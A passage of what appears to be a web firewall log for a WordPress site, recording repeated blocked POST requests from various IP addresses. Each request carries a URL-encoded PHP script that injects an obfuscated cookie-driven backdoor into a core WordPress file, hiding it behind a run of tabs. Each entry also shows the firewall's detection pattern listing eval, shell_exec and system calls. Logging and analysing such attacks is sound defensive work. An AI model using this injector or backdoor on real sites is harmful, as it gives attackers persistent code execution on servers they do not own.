Chrome\";v=\"99\"\nsec-ch-ua-mobile:?1\nsec-ch-ua-platform:\"Android\"\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpIHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhqTIlozSfVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3256\n\nqU=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/post-author-biography.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B32%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D2%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B32%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B32%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B32%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B2%252B1%253B%257D%2524k%253D%2524p%255B3%255D%2528%2529.%2524p%255B12%255D%253Bif%2528%2521%2524p%255B24%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B8%255D%2528%2524k%252C%2524p%255B20%255D%2529%253B%2524p%255B18%255D%2528%2524n%252C%2524p%255B11%255D.%2524p%255B22%255D%2528%2524p%255B10%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:43:40","78.142.18.172","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> pf:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/post-author-biography.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B32%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D2%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B32%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B32%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B32%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B2%252B1%253B%257D%2524k%253D%2524p%255B3%255D%2528%2529.%2524p%255B12%255D%253Bif%2528%2521%2524p%255B24%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B8%255D%2528%2524k%252C%2524p%255B20%255D%2529%253B%2524p%255B18%255D%2528%2524n%252C%2524p%255B11%255D.%2524p%255B22%255D%2528%2524p%255B10%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpTLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2fvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3256\n\npf=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/post-author-biography.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B32%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D2%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B32%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B32%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B32%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B2%252B1%253B%257D%2524k%253D%2524p%255B3%255D%2528%2529.%2524p%255B12%255D%253Bif%2528%2521%2524p%255B24%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B8%255D%2528%2524k%252C%2524p%255B20%255D%2529%253B%2524p%255B18%255D%2528%2524n%252C%2524p%255B11%255D.%2524p%255B22%255D%2528%2524p%255B10%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:43:42","144.76.215.54","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> hF:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/post-author-biography.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B32%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D2%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B32%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B32%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B32%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B2%252B1%253B%257D%2524k%253D%2524p%255B3%255D%2528%2529.%2524p%255B12%255D%253Bif%2528%2521%2524p%255B24%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B8%255D%2528%2524k%252C%2524p%255B20%255D%2529%253B%2524p%255B18%255D%2528%2524n%252C%2524p%255B11%255D.%2524p%255B22%255D%2528%2524p%255B10%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnRLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqTIxVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3256\n\nhF=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/post-author-biography.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B32%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D2%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B32%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B32%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B32%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B2%252B1%253B%257D%2524k%253D%2524p%255B3%255D%2528%2529.%2524p%255B12%255D%253Bif%2528%2521%2524p%255B24%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B8%255D%2528%2524k%252C%2524p%255B20%255D%2529%253B%2524p%255B18%255D%2528%2524n%252C%2524p%255B11%255D.%2524p%255B22%255D%2528%2524p%255B10%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:43:44","123.30.233.13","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/post-author-biography.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B32%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D2%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B32%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B32%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B32%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B2%252B1%253B%257D%2524k%253D%2524p%255B3%255D%2528%2529.%2524p%255B12%255D%253Bif%2528%2521%2524p%255B24%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B8%255D%2528%2524k%252C%2524p%255B20%255D%2529%253B%2524p%255B18%255D%2528%2524n%252C%2524p%255B11%255D.%2524p%255B22%255D%2528%2524p%255B10%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nupgrade-insecure-requests:1\nsec-ch-ua-platform:\"Windows\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nsec-fetch-site:none\nsec-fetch-dest:document\nsec-fetch-mode:navigate\naccept:*\/*\nsec-fetch-user:?1\ncontent-length:3279\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/post-author-biography.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B32%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D2%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B32%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B32%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B32%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B2%252B1%253B%257D%2524k%253D%2524p%255B3%255D%2528%2529.%2524p%255B12%255D%253Bif%2528%2521%2524p%255B24%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B8%255D%2528%2524k%252C%2524p%255B20%255D%2529%253B%2524p%255B18%255D%2528%2524n%252C%2524p%255B11%255D.%2524p%255B22%255D%2528%2524p%255B10%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 10:43:47","160.250.186.220","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ai:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/post-author-biography.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B32%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D2%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B32%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B32%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B32%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B2%252B1%253B%257D%2524k%253D%2524p%255B3%255D%2528%2529.%2524p%255B12%255D%253Bif%2528%2521%2524p%255B24%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B8%255D%2528%2524k%252C%2524p%255B20%255D%2529%253B%2524p%255B18%255D%2528%2524n%252C%2524p%255B11%255D.%2524p%255B22%255D%2528%2524p%255B10%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%